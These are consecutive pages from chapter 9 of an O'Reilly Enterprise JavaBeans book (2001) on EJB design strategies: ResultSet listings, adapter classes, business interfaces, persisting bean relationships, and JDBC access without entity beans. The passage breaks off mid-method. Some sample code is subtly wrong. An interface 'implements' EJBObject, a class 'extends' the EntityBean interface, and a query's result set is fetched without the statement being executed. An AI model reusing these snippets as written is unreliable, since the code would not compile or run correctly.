A more sophisticated and flexible way to implement a list is to provide a pass-by-value implementation of the java.sql.ResultSet interface. Although it is defined in the JDBC package (java.sql) the ResultSet interface is semantically independent of relational databases; it can be used to represent any set of tabular data. Since the ResultSet interface is familiar to most enterprise Java developers, it is an excellent construct for use in listing behavior. Using the ResultSet strategy, the signature of the getSchedule() method would be:

public interface Schedule implements javax.ejb.EJBObject {
    public ResultSet getSchedule(int cruiseID) throws RemoteException;
}

In some cases, the tabular data displayed at the client may be generated using standard SQL through a JDBC driver. If the circumstances permit, you may choose to perform the query in a session bean and return the result set directly to the client through a listing method. However, there are many cases in which you don't want to return a ResultSet that comes directly from JDBC drivers. A ResultSet from a JDBC 1.x driver is normally connected directly to the database, which increases network overhead and exposes your data source to the client. In these cases, you can implement your own ResultSet object that uses arrays or vectors to cache the data. JDBC 2.0 provides a cached javax.sql.RowSet that looks like a ResultSet, but is passed by value and provides features like reverse scrolling. You can use the RowSet, but don't expose behavior that allows the result set to be updated. Data updates should only be performed by bean methods.

In some cases, the tabular data comes from several data sources or nonrelational databases. In these cases, you can query the data using the appropriate mechanisms within the listing bean, and then reformat the data into your ResultSet implementation. Regardless of the source of data, you still want to present it as tabular data using a custom implementation of the ResultSet interface.

Using a ResultSet has a number of advantages and disadvantages. First, the advantages:

Consistent interface for developers

The ResultSet interface provides a consistent interface that developers are familiar with and that is consistent across different listing behaviors. Developers don't need to learn several different constructs for working with tabular data; they use the same ResultSet interface for all listing methods.

Consistent interface for automation

The ResultSet interface provides a consistent interface that allows software algorithms to operate on data independent of its content. A builder can be created that constructs an HTML or GUI table based on any set of results that implements the ResultSet.

Metadata operations

The ResultSet interface defines several metadata methods that provide developers with runtime information describing the result set they are working with.

Flexibility

The ResultSet interface is independent of the data content, which allows tabular sets to change their schema independent of the interfaces. A change in schema does not require a change to the method signatures of the listing operations.

And now, the disadvantages of using a ResultSet:

Complexity

The ResultSet interface strategy is much more complex than returning a simple array or an array of structures. It normally requires you to develop a custom implementation of the ResultSet interface. If properly designed, the custom implementation can be reused across all your listing methods, but it's still a significant development effort.

Hidden structure at development time

Although the ResultSet can describe itself through metadata at runtime, it cannot describe itself at development time. Unlike a simple array or an array of structures, the ResultSet interface provides no clues at development time about the structure of the underlying data. At runtime, metadata is available, but at development time, good documentation is required to express the structure of the data explicitly.

Previous | Home | Next
9.2. Passing Objects by Value | Book Index | 9.4. Bean Adapters
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bean Adapters (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.4. Bean Adapters

One of the most awkward aspects of the EJB bean interface types is that, in some cases, the callback methods are never used or are not relevant to the bean at all. A simple container-managed entity bean might have empty implementations for its ejbLoad(), ejbStore(), ejbActivate(), ejbPassivate(), or even its setEntityContext() methods. Stateless session beans provide an even better example of unnecessary callback methods: they must implement the ejbActivate() and ejbPassivate() methods even though these methods are never invoked!

To simplify the appearance of the bean class definitions, we can introduce adapter classes that hide callback methods that are never used or that have minimal implementations. Here is an adapter for the entity bean that provides empty implementations of all the EntityBean methods:

public class EntityAdapter implements javax.ejb.EntityBean {
    public EntityContext ejbContext;

    public void ejbActivate(){}
    public void ejbPassivate(){}
    public void ejbLoad(){}
    public void ejbStore(){}
    public void ejbRemove(){}

    public void setEntityContext(EntityContext ctx) {
        ejbContext = ctx;
    }
    public void unsetEntityContext() {
        ejbContext = null;
    }
    public EntityContext getEJBContext() {
        return ejbContext;
    }
}

We took care of capturing the EntityContext for use by the subclass. We can do this because most entity beans implement the context methods in exactly this way. We simply leverage the adapter class to manage this logic for our subclasses.

The bean class then extends this adapter class. Here's a modified version of the CabinBean class that uses the EntityAdapter to reduce the clutter of empty callback methods. Compare this definition of the CabinBean with the one from Chapter 2, "Architectural Overview".

public class CabinBean extends EntityAdapter {

    public int id;
    public String name;
    public int deckLevel;
    public int shipID;
    public int bedCount;

    public int getShipID() {
        return shipID;
    }
    public void setShipID(int ship) {
        shipID = ship;
    }
    public CabinPK ejbCreate(int id) {
        // EJB 1.0 return type is void
        this.id = id;
        return null;
    }
    public void ejbPostCreate(int id) {
        // Do nothing. Required.
    }
    public String getName() {
        return name;
    }
    public void setName(String str) {
        name = str;
    }
    public int getBedCount() {
        return bedCount;
    }
    public void setBedCount(int bc) {
        bedCount = bc;
    }
    public int getDeckLevel() {
        return deckLevel;
    }
    public void setDeckLevel(int level) {
        deckLevel = level;
    }
}

If a callback method is deemed necessary, it can simply be overridden by a method in the bean class.

A similar Adapter class can be created for stateless session beans:

public class SessionAdapter implements javax.ejb.SessionBean {
    public SessionContext ejbContext;

    public void ejbActivate() {}
    public void ejbPassivate() {}
    public void ejbRemove() {}

    public void setSessionContext(SessionContext ctx) {
        ejbContext = ctx;
    }
    public SessionContext getEJBContext() {
        return ejbContext;
    }
}

Don't use these adapter classes when you need to override more than one or two of their methods. If you need to implement several of the callback methods, your code will be clearer if you don't use the adapter class. The adapter class also impacts the inheritance hierarchy of the bean class. If later you would like to implement a different superclass, one that captures business logic, the class inheritance would need to be modified.

Previous | Home | Next
9.3. Improved Performance with Session Beans | Book Index | 9.5. Implementing a Common Interface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing a Common Interface (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.5. Implementing a Common Interface

This book discourages implementing the remote interface in the bean class. This makes it a little more difficult to enforce consistency between the business methods defined in the remote interface and the corresponding methods on the bean class. There are good reasons for not implementing the remote interface in the bean class, but there is also a need for a common interface to ensure that the bean class and remote interface define the same business methods. This section describes a design alternative that allows you to use a common interface to ensure consistency between the bean class and the remote interface.

9.5.1. Why the Bean Class Shouldn't Implement the Remote Interface

There should be no difference, other than the missing java.rmi.RemoteException, between the business methods defined in the ShipBean and their corresponding business methods defined in the Ship interface. EJB requires you to match the method signatures so that the remote interface can accurately represent the bean class on the client. Why not implement the remote interface com.titan.Ship in the ShipBean class to ensure that these methods are matched correctly?

EJB allows a bean class to implement its remote interface, but this practice is discouraged for a couple of very good reasons. First, the remote interface is actually an extension of the javax.ejb.EJBObject interface, which you learned about in Chapter 5, "The Client View". This interface defines several methods that are implemented by the EJB container when the bean is deployed. Here is the definition of the javax.ejb.EJBObject interface:

public interface javax.ejb.EJBObject extends java.rmi.Remote {
    public abstract EJBHome getEJBHome();
    public abstract Handle getHandle();
    public abstract Object getPrimaryKey();
    public abstract boolean isIdentical(EJBObject obj);
    public abstract void remove();
}

The methods defined here are implemented and supported by the EJB object for use by client software and are not implemented by the javax.ejb.EntityBean class. In other words, these methods are intended for the remote interface's implementation, not the bean instance's. The bean instance implements the business methods defined in the remote interface, but it does so indirectly. The EJB object receives all the method invocations made on the remote interface; those that are business methods (like the getName or setCapacity methods in Ship) are delegated to the bean instance. The other methods, defined by the EJBObject, are handled by the container and are never delegated to the bean instance.

Just for kicks, change the ShipBean definition so that it implements the Ship interface as show here:

public class ShipBean implements Ship {

When you recompile the ShipBean, you should have five errors stating that the ShipBean must be declared abstract because it doesn't implement the methods from the javax.ejb.EJBObject. EJB allows you to implement the remote interface, but in so doing you clutter the bean class's definition with a bunch of methods that have nothing to do with its functionality. You can hide these methods in an adapter class; however, using an adapter for methods that have empty implementations is one thing, but using an adapter for methods that shouldn't be in the class at all is decidedly bad practice.

Another reason that beans should not implement the remote interface is that a client can be an application on a remote computer or it can be another bean. Beans as clients are very common. When calling a method on an object, the caller sometimes passes itself as one of the parameters.[1] In normal Java programming, an object passes a reference to itself using the this keyword. In EJB, however, clients, even bean clients, are only allowed to interact with the remote interfaces of beans. When one bean calls a method on another bean, it is not allowed to pass the this reference; it must obtain its own remote reference from its context and pass that instead. The fact that a bean class doesn't implement its remote interface prevents you from passing the this reference and forces you to get a reference to the interface from the context. The bean class won't compile if you attempt to use this as a remote reference. For example, assume that the ShipBean needs to call someMethod(Shipship). It can't simply call someMethod(this) because ShipBean doesn't implement Ship. If, however, the bean instance implements the remote interface, you could mistakenly pass the bean instance reference using the this keyword to another bean.

[1] This is frequently done in loopbacks where the invokee will need information about the invoker. Loopbacks are discouraged in EJB because they require reentrant programming, which should be avoided.

Beans should always interact with the remote references of other beans so that method invocations are intercepted by the EJB objects. Remember that the EJB objects apply security, transaction, concurrency, and other system-level constraints to method calls before they are delegated to the bean instance; the EJB object works with the container to manage the bean at runtime.

The proper way to obtain a bean's remote reference, within the bean class, is to use the EJBContext. Here is an example of how this works:

public class HypotheticalBean extends EntityBean {
    public EntityContext ejbContext;
    public void someMethod() throws RemoteException {

          Hypothetical mySelf = (Hypothetical) ejbContext.getEJBObject();

          // Do something interesting with the remote reference.
    }
    // More methods follow.
}

9.5.2. The Business Interface Alternative

Although it is undesirable for the bean class to implement its remote interface, we can define an intermediate interface that is used by both the bean class and the remote interface to ensure consistent business method definitions. We will call this intermediate interface thebusiness interface.

The following code contains an example of a business interface defined for the Ship bean, called ShipBusiness. All the business methods formerly defined in the Ship interface are now defined in the ShipBusiness interface. The business interface defines all the business methods, including every exception that will be thrown from the remote interface when used at runtime:

package com.titan.ship;
import java.rmi.RemoteException;

public interface ShipBusiness {
    public String getName() throws RemoteException;
    public void setName(String name) throws RemoteException;
    public void setCapacity(int cap) throws RemoteException;
    public int getCapacity() throws RemoteException;
    public double getTonnage() throws RemoteException;
    public void setTonnage(double tons) throws RemoteException;
}

Once the business interface is defined, it can be extended by the remote interface. The remote interface extends both the ShipBusiness and the EJBObject interfaces, giving it all the business methods and the EJBObject methods that the container will implement at deployment time:

package com.titan.ship;
import javax.ejb.EJBObject;

public interface Ship extends ShipBusiness, javax.ejb.EJBObject {
}

Finally, we can implement the business interface in the bean class as we would any other interface:

public class ShipBean implements ShipBusiness, javax.ejb.EntityBean {
    public int id;
    public String name;
    public int capacity;
    public double tonnage;

    public String getName() {
        return name;
    }
    public void setName(String n) {
        name = n;
    }
    public void setCapacity(int cap) {
        capacity = cap;
    }
    public int getCapacity() {
        return capacity;
    }
    public double getTonnage() {
        return tonnage;
    }
    public void setTonnage(double tons) {
        tonnage = tons;
    }

    // More methods follow...
}

In the case of the ShipBean class, we choose not to throw the RemoteException. Classes that implement interfaces can choose not to throw exceptions defined in the interface. They cannot, however, add exceptions. This is why the business interface must declare that its methods throw the RemoteException and all application exceptions. The remote interface should not modify the business interface definition. The bean class can choose not to throw the RemoteException, but it must throw all the application-specific exceptions.

The business interface is an easily implemented design strategy that will make it easier to develop beans. This book recommends that you use the business interface strategy in your own implementations. Remember not to pass the business interface in method calls; always use the bean's remote interface in method parameters and as return types.

Previous | Home | Next
9.4. Bean Adapters | Book Index | 9.6. Entity Beans Without Create Methods
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Entity Beans Without Create Methods (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.6. Entity Beans Without Create Methods

If an entity bean is never meant to be created by a client, you can simply not implement a create() method on the home interface. This means that the entity in question can only be obtained using the find() methods on the home interface. Titan might implement this strategy with their Ship beans, so that new ships must be created by directly inserting a record into the database--a privilege that might be reserved for the database administrator. They wouldn't want some crazed travel agent inserting random ships into their cruise line.

Previous | Home | Next
9.5. Implementing a Common Interface | Book Index | 9.7. Entity Bean Relationships
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Entity Bean Relationships (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.7. Entity Bean Relationships

Business systems frequently define relationships between entity beans. These relationships can be complex or simple. The concept of a cabin and its relationship to a ship embodies both simple and complex relationships. A cabin always belongs to a particular ship--a relationship that's obviously fairly simple. From the ship's perspective, the relationship is more complex: a ship has many cabins and must maintain a relationship to all of them.

This section explores how to write entity beans that use container-managed persistence and maintain relationships with other beans. This information will be most useful to EJB 1.0 developers. EJB 1.0 does not allow references to other beans to be container-managed. This means that a bean needs to manage persistence for references to other beans within its own code.

If you're using EJB 1.1, you can probably ignore this section, particularly if your server has robust support for the persistence of bean references. While EJB 1.1 allows bean references to be container-managed fields, a few EJB 1.1 servers may not be able to persist relationships between beans. This section will be useful to developers using these limited EJB 1.1 servers. EJB 1.1 developers using bean-managed persistence may also find the strategies in this section useful.

However, since this is predominately a EJB 1.0 problem, the code in this section has been left in the EJB 1.0 style. EJB 1.1 developers must make minor changes to the code for it to work in EJB 1.1 servers.

9.7.1. Simple Associations

In Titan Cruises, the business concept of a cabin models the real-world cabins that are in all of Titan's ships. Regardless of the ship, cabins all have certain attributes that we want to capture in the Cabin business concept: cabin name, deck level, and so forth. Important to this discussion is the cabin's relationship to its ship. How do we model and implement this simple relationship?

There are several alternatives, which can be grouped into two general categories: implementation-specific and non-implementation-specific. Both categories have their own strengths and weaknesses, which we will explore later in this section.

Let's start by defining the Cabin bean's remote interface. We add methods that allow the cabin to set and get the Ship as a bean, rather than by its ID. The advantage of this approach is that it encapsulates the Ship bean's unique identifier and deals with business concepts as beans, not database-dependent IDs.

package com.titan.cabin;
import com.titan.ship.Ship;
import java.rmi.RemoteException;

public interface Cabin extends javax.ejb.EJBObject {
    public Ship getShip() throws RemoteException;
    public void setShip(Ship ship) throws RemoteException;

    public String getName() throws RemoteException;
    public void setName(String str) throws RemoteException;
    public int getDeckLevel() throws RemoteException;
    public void setDeckLevel(int level) throws RemoteException;
    public int getBedCount() throws RemoteException;
    public void setBedCount(int bc) throws RemoteException;
}

9.7.1.1. Maintaining the database mapping

The simplest strategy for managing the cabin-to-ship relationship would be to support the relationship as defined in the database. In the relational database, the CABIN table includes a foreign key to the SHIP table's primary key, called SHIP_ID. In its current definition, we maintain the database mapping by preserving the SHIP_ID as an integer value. We can modify the behavior slightly by using the Ship bean in the get and set methods rather than the ID:

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public int bedCount;
    public int ship_id;
    public Ship ship;

    public javax.ejb.EntityContext ejbContext;
    public transient javax.naming.Context jndiContext;

    public Ship getShip() throws RemoteException {
      try {
        if (ship != null)
            return ship;
        else {
            ShipHome home = (ShipHome)getHome("jndiName_ShipHome");
            ship = home.findByPrimaryKey(new ShipPK(ship_id));
            return ship;
        }
      } catch(javax.ejb.FinderException fe) {
         throw new RemoteException("Invalid Ship",fe);
      }
    }
    public void setShip(Ship ship) throws RemoteException {
        ship_id = ((ShipPK)ship.getPrimaryKey()).id;
        this.ship = ship;
    }
    protected Object getHome(String name) throws RemoteException {
        try {
            String jndiName =
                ejbContext.getEnvironment().getProperty(name);
            return getJndiContext().lookup(jndiName);
        } catch(javax.naming.NamingException ne) {
            throw new RemoteException("Could not lookup ("+name+")",ne);
        }
    }
    private javax.naming.Context getJndiContext()
        throws javax.naming.NamingException {
        if (jndiContext != null)
            return jndiContext;

        Properties p = new Properties();

        // ... Specify the JNDI properties specific to the vendor.

        jndiContext = new InitialContext(p);
        return jndiContext;
    }
    public void ejbActivate() {
        ship = null;
    }
}

From the client's standpoint, the Cabin bean now models its relationship to the Ship bean as a business concept and not as a database ID. The advantage of this approach is that we maintain the database mapping defined by the CABIN table while hiding the mapping from the client. The disadvantage is that the bean must frequently dereference the ship's primary key whenever a client invokes the getShip() method. If the entity bean has been deactivated since the ship's remote reference was last obtained, the reference will need to be reobtained.

After you've deployed this new version of the Cabin bean, you can use a client application to see if your code works. You can use code like this in your client:

Context ctx = getInitialContext();
CabinHome cabinHome = (CabinHome)ctx.lookup("CabinHome");
CabinPK pk = new CabinPK();
pk.id = 1;
Cabin cab = cabinHome.findByPrimaryKey(pk);
System.out.println(cab.getName());
Ship ship = cab.getShip();
System.out.println(ship.getName());

9.7.1.2. Mapping serializable to VARBINARY

With the Cabin bean, the use of the database mappings is the most straightforward approach to preserving the Cabin bean's relationship to the Ship bean. With other relationships, a relational database foreign key may not already exist. In this case, we need to preserve the relationship in the form of primary keys or handles.

Both primary keys and handles are serializable, so they can be preserved in a relational database as the JDBC type VARBINARY. The data type in the actual database will vary; some databases use BLOB while others use a different data type to indicate variable-length binary data. These data types are typically used for storing arbitrary binary data-like images. If you are using an existing database and need to preserve a nonrelational association between entities, you must update the table structure to include a VARBINARY type column.

Whether we use the primary key or the handle, we need to obtain it from the Ship bean and preserve it in the database. To do this, we use Java serialization to convert the primary key or handle into a byte array, which we can then save in the database as binary data. We can convert this data back into a usable key or handle as needed. One way to do this is to define a couple of simple methods that can take any Serializable object and make it into a byte array and convert it back. These methods are defined as follows:

public byte [] serialize(Object obj) throws IOException {
   ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
   ObjectOutputStream oos = new ObjectOutputStream(byteStream);
   oos.writeObject(obj);
   return byteStream.toByteArray();
}
public Object deserialize(byte [] byteArray)
   throws IOException,ClassNotFoundException {
   ByteArrayInputStream byteStream = new ByteArrayInputStream(byteArray);
   ObjectInputStream oos = new ObjectInputStream(byteStream);
   return oos.readObject();
}

9.7.1.3. Preserving the primary key

If you can't preserve a foreign database ID, you can preserve the primary key directly. We can use the serialize() method defined earlier in setShip(Shipship) to preserve the primary key of the Ship bean in the database:

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public byte [] shipBinary;
    public int bedCount;
    public Ship ship;

    public javax.ejb.EntityContext ejbContext;
    public transient javax.naming.Context jndiContext;

    public Ship getShip() throws RemoteException {
      try {
        if (ship != null)
            return ship;
        else {
            ShipHome home = (ShipHome)getHome("jndiName_ShipHome");
            ShipPK pk = (ShipPK)deserialize(shipBinary);
            ship = home.findByPrimaryKey(pk);
                return ship;
        }
      } catch(Exception e) {
          throw new RemoteException("Invalid Ship",e);
      }
    }
    public void setShip(Ship ship) throws RemoteException {
        try {
        Object pk = ship.getPrimaryKey();
            shipBinary = serialize(pk);
            this.ship = ship;
        } catch(Exception e) {
             throw new RemoteException("Ship not set",e);
        }
    }

We have replaced the ship_id field with shipBinary. Remember, we are now looking at situations where the relationship between entities cannot be modeled in a relational database. When the CabinBean class is persisted to the database, the shipBinary field is written to the database with the primary key's serialized value. If the bean uses container-managed persistence, the shipBinary field will need to be mapped to the BLOB or binary column of the table. If the bean uses bean-managed persistence, the JDBC API will simply return a binary data type from the appropriate column.

9.7.1.4. Preserving the handle

Using the handle to preserve simple relationships is almost exactly the same as using the primary key. To preserve the handle, we can use the same shipBinary field that we used to save the primary key strategy; we only need to make a couple of simple changes to the setShip() and getShip() methods:

public Ship getShip() throws RemoteException {
    try {
      if (ship != null)
          return ship;
      else {
          Handle handle = (Handle)deserialize(shipBinary);
          ship = (Ship)handle.getEJBObject();
          return ship;
      }
    } catch (Exception e) {
       throw new RemoteException("Invalid Ship",e);
    }
}
public void setShip(Ship ship) throws RemoteException {
    try {
        Object handle = ship.getHandle();
        shipBinary = serialize(handle);
        this.ship = ship;
    } catch (Exception e) {
        throw new RemoteException("Ship not set",e);
    }
}

In many cases, serializing the handle is simpler then using the primary key. This version of the getShip() method is much simpler: you don't need to reconstruct the primary key, and the getInitialContext() method is no longer needed. However, the use of handles over primary keys should be done with care. Handles are simpler, but also more volatile. A change in the container, naming, networking, or security can cause the handle to become invalid.

This strategy is especially useful when the primary key is more complex than our simple ShipPK. If the primary key is made up of several fields, for example, using a binary format provides more benefits.

9.7.1.5. Native Java persistence

Some database products support native persistence of Java objects. These might be object databases or even relational databases that can store Java objects. Entity beans that use native persistence are the simplest to develop because there is no need to convert fields to byte streams so they can be stored in the database. In the following listing, the CabinBean class has been changed so that it uses native Java persistence with the Ship bean's primary key:

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public ShipPK shipPK;
    public int bedCount;
    public Ship ship;

    public javax.ejb.EntityContext ejbContext;
    public transient javax.naming.Context jndiContext;

    public Ship getShip() throws RemoteException {
      try {
        if (ship != null)
            return ship;
        else {
            ShipHome home = (ShipHome)getHome("jndiName_ShipHome");
            ship = home.findByPrimaryKey(shipPK);
            return ship;
        }
      } catch(Exception e) {
         throw new RemoteException("Invalid Ship",e);
      }
    }
    public void setShip(Ship ship) throws RemoteException {
        try {
            shipPK = (ShipPK)ship.getPrimaryKey();
            this.ship = ship;
        } catch(Exception e) {
             throw new RemoteException("Ship not set",e);
        }
...
}

9.7.2. Complex Entity Relationships

Situationsin which an entity has a relationship to several other entities of a particular type are as common as simple relationships. An example of a complex relationship is a ship. In the real world, a ship may contain thousands of cabins. To develop a Ship bean that models the relationship between a real-world ship and its cabins, we can use the same strategies that we discussed earlier. The most important difference is that we're now discussing one-to-many associations rather than one-to-one. Before we get started, let's add a couple of new methods to the Ship bean's remote interface:

package com.titan.ship;

import com.titan.cabin.Cabin;
import javax.ejb.EJBObject;
import java.rmi.RemoteException;

public interface Ship extends javax.ejb.EJBObject {
    public Cabin [] getCabins() throws RemoteException;
    public void addCabin(Cabin cabin) throws RemoteException;
    public String getName() throws RemoteException;
    public void setName(String name) throws RemoteException;
    public void setCapacity(int cap) throws RemoteException;
    public int getCapacity() throws RemoteException;
    public double getTonnage() throws RemoteException;
    public void setTonnage(double tonnage) throws RemoteException;
}

The Ship bean's remote interface indicates that it is associated with many Cabin beans, which makes perfectly good sense as a business concept. The application developer using the Ship remote interface is not concerned with how the Cabin beans are stored in the Ship bean. Application developers are only concerned with using the two new methods, which allow them to obtain a list of cabins assigned to a specific ship and to add new cabins to the ship when appropriate.

9.7.2.1. One-to-many database mapping

The database structure provides a good relational model for mapping multiple cabins to a single ship. In the relational database, the CABIN table contains a foreign key called ship_id, which we used previously to manage the cabin's relationship to the ship.

As a foreign key, the ship_id provides us with a simple relational mapping from a ship to many cabins using an SQL join:

"select ID from CABIN  where SHIP_ID = "+ship_id

Nothing complicated about that. Unfortunately, this relationship cannot be done conveniently with container-managed persistence, because we would need to map a collection to the join, which is not as straightforward as mapping a single entity field to a database field. More advanced object-to-relational mapping software will simplify this task, but these advanced tools are not always available and have their own limitations. If your EJB server doesn't support object-to-relational mapping, you will need an alternative solution. One alternative is to use bean-managed persistence to leverage the database mapping. If, however, your EJB server supports JavaBlend™ or some other object-to-relational technology, you may still be able to use container-managed persistence with a one-to-many database mapping.

If you examine the SHIP table definition, there is no column for storing a list of cabins, so we will not store this relationship directly in the SHIP table. Instead, we use a Vector called cabins to store this relationship temporarily. Every time the bean's ejbLoad() method is called, it populates the vector with cabin IDs, as it does all the other fields. Here are the getCabins() and ejbLoad() methods of the ShipBean class, with the changes for managing the vector of cabin IDs in bold:

public class ShipBean implements ShipBusiness, javax.ejb.EntityBean {
    public int id;
    public String name;
    public int capacity;
    public double tonnage;
    public Vector cabins;

    private EntityContext ejbContext;
    private transient Context jndiContext;

    public Cabin [] getCabins() throws RemoteException {
        try {
            Cabin [] cabinArray = new Cabin[cabins.size()];
            CabinHome home = (CabinHome)getHome("jndiName_CabinHome");
            for (int i = 0; i < cabinArray.length; i++) {
                CabinPK pk = (CabinPK)cabins.elementAt(i);
                cabinArray[i] = home.findByPrimaryKey(pk);
            }
            return cabinArray;
        } catch(Exception e) {
            throw new RemoteException("Cannot get cabins",e);
        }
    }
    public void ejbLoad() throws RemoteException {
        try {
            ShipPK pk = (ShipPK) ejbContext.getPrimaryKey();
            loadUsingId(pk.id);
        } catch(FinderException fe) {
            throw new RemoteException();
        }
    }
    private void loadUsingId(int id)
            throws RemoteException, FinderException {
        Connection con = null;
        PreparedStatement ps = null;
        ResultSet result = null;
        try {
          con = getConnection();
          ps = con.prepareStatement(
            "select name, capacity, tonnage from Ship where id = ?");
          ps.setInt(1,id);
          result = ps.executeQuery();
          if (result.next()) {
            this.id = id;
            this.name = result.getString("name");
            this.capacity = result.getInt("capacity");
            this.tonnage = result.getDouble("tonnage");
          } else {
            throw new FinderException("Cannot find Ship with id = "+id);
          }
          result.close();
          ps = con.prepareStatement(
              "select ID from CABIN where SHIP_ID = ?");
          ps.setInt(1,id);
          result = ps.getResultSet();
          cabins = new Vector();
          while(result.next()) {
              CabinPK pk = new CabinPK(result.getInt(1));
              cabins.addElement(pk);
          }
        }
        catch (SQLException se) {
          throw new RemoteException (se.getMessage());
        }
        finally {
          try {
            if (result != null) result.close();
            if (ps != null) ps.close();
            if (con!= null) con.close();
          } catch(SQLException se) {
            se.printStackTrace();
          }
        }
    }
...
}

9.7.2.2. Mapping serializable to VARBINARY

Using byte arrays and Java serialization works with complex relationships just as well as it did with simple relationships. In this case, however, we are serializing some kind of collection instead of a single reference. If, for example, the Ship bean were container-managed, the ejbLoad() and ejbStore() methods could be used to convert our cabins vector between its representation as a Vector and a byte array. The following code illustrates how this could work with container-managed persistence; it applies equally well to Cabin primary keys or Cabin bean Handle objects:

public class ShipBean implements ShipBusiness, javax.ejb.EntityBean {
    public int id;
    public String name;
    public int capacity;
    public double tonnage;
    public Vector cabins;
    public byte [] cabinBinary;

    public void ejbLoad() throws RemoteException {
        try {
          if (cabinBinary != null)
            cabins = (java.util.Vector)deserialize(cabinBinary);
        } catch(Exception e) {
            throw new RemoteException("Invalid Cabin aggregation ",e);
        }
    }
    public void ejbStore() throws RemoteException {
        try {
          if (cabins != null)
               cabinBinary = serialize(cabins);
        } catch(Exception e) {
            throw new RemoteException("Invalid Cabin aggregation",e);
        }
    }
    public byte [] serialize(Object obj) throws IOException {
        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteStream);
        oos.writeObject(obj);
        return byteStream.toByteArray();
    }
    public Object deserialize(byte [] byteArray)
           throws IOException,ClassNotFoundException {
        ByteArrayInputStream byteStream =
            new ByteArrayInputStream(byteArray);
        ObjectInputStream oos = new ObjectInputStream(byteStream);
        return oos.readObject();
    }
...
}

9.7.2.3. Native Java persistence

As with the simple relationships, preserving complex relationships is the easiest with native Java persistence. The ShipBean definition is much simpler because the cabins vector can be stored directly, without converting it to a binary format. Using this strategy, we can opt to preserve the CabinPK types or Cabin bean handles for the aggregated Cabin beans.

Previous | Home | Next
9.6. Entity Beans Without Create Methods | Book Index | 9.8. Object-to-Relational Mapping Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Object-to-Relational Mapping Tools (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.8. Object-to-Relational Mapping Tools

Some EJB vendors provide object-to-relational mapping tools that, using wizards, can create object representations of relational databases, generate tables from objects, or map existing objects to existing tables. These tools are outside the scope of this book because they are proprietary in nature and cannot generally be used to produce beans that can be used across EJB servers. In other words, in many cases, once you have begun to rely on a mapping tool to define a bean's persistence, you might not be able to migrate your beans to a different EJB server; the bean definition is bound to the mapping tool.

Mapping tools can make bean developers much more productive, but you should consider the implementation-specific details of your tool before using it. If you will need to migrate your application to a bigger, faster EJB server in the future, make sure that the mapping tool you use is supported in other EJB servers.

Some products that perform object-to-relational mapping use JDBC. The Object People's TOPLink and Watershed's ROF are examples of this type of product. These products provide more flexibility for mapping objects to a relational database and are not as dependent on the EJB server. However, EJB servers must support these products in order for them to be used, so again let caution guide your decisions about using these products.

Previous | Home | Next
9.7. Entity Bean Relationships | Book Index | 9.9. When Entity Beans Are Not an Option
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


When Entity Beans Are Not an Option (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.9. When Entity Beans Are Not an Option

A couple of EJB 1.0 servers do not support entity beans. This is a legitimate choice, since support for entity beans is not required in EJB 1.0.[2] This section provides some strategies for developing systems that only use session beans for EJB 1.0 developers.

[2] Support for entity beans is required in Version 1.1 of EJB.

Entity bean support is required in EJB 1.1. If you're using EJB 1.1, you can skip this section.

9.9.1. Emulating Entity Beans with Session Beans

Session beans that implement the SessionSynchronization interface (discussed in Chapter 8, "Transactions") can emulate some of the functionality of bean-managed entity beans. This approach provides a couple of advantages. First, these session beans can represent entity business concepts like entity beans; second, dependency on vendor-specific object-to-relational mapping tools is avoided.

Unfortunately, session beans were never designed to represent data directly in the database, so using them as a replacement for entity beans is problematic. Entity beans fulfill this duty nicely because they are transactional objects. When the attributes of a bean are changed, the changes are reflected in the database automatically in a transactionally safe manner. This cannot be duplicated in stateful session beans because they are transactionally aware but are not transactional objects. The difference is subtle but important. Stateful session beans are not shared like entity beans. There is no concurrency control when two clients attempt to access the same bean at the same time. In the case of the stateful session beans, each client gets its own instance, so many copies of the same session bean representing the same entity data can be in use concurrently. Database isolation can prevent some problems, but the danger of obtaining and using dirty data is high.

Other problems include the fact that session beans emulating entity beans cannot have find() methods in their home interfaces. Entity beans support find() methods as a convenient way to locate data. Find methods could be placed in the session bean's remote interface, but this would be inconsistent with the EJB component model. Also, a stateful session bean must use the SessionSynchronization interface to be transactionally safe, which requires that it only be used in the scope of the client's transaction. This is because methods like ejbCreate() and ejbRemove() are not transactional. In addition, ejbRemove() has a significantly different function in session beans than in entity beans. Should ejbRemove() end the conversation, delete data, or both?

Weighing all the benefits against the problems and risks of data inconsistency, it is recommended that you do not use stateful session beans to emulate entity beans. If your EJB server doesn't support entity beans, use the direct access or object-to-relational mapping options.

9.9.2. Limiting Session Beans to Workflow

9.9.2.1. Direct database access with JDBC

Perhaps the most straightforward and most portable option for using a server that only supports session beans is direct database access. We did some of this with the ProcessPayment bean and the TravelAgent bean in Chapter 7, "Session Beans". When entity beans are not an option, we simply take this a step further. The following code is an example of the TravelAgent bean's bookPassage() method, coded with direct JDBC data access instead of using entity beans:

public Ticket bookPassage(CreditCard card, double price)
        throws RemoteException, IncompleteConversationalState {
    if (customerID == 0 || cruiseID == 0 || cabinID == 0) {
        throw new IncompleteConversationalState();
    }
    Connection con = null;
    PreparedStatement ps = null;;
    try {
        con = getConnection();

        // Insert reservation.
        ps = con.prepareStatement("insert into RESERVATION "+
            "(CUSTOMER_ID, CRUISE_ID, CABIN_ID, PRICE) values (?,?,?,?)");
        ps.setInt(1, customerID);
        ps.setInt(2, cruiseID);
        ps.setInt(3, cabinID);
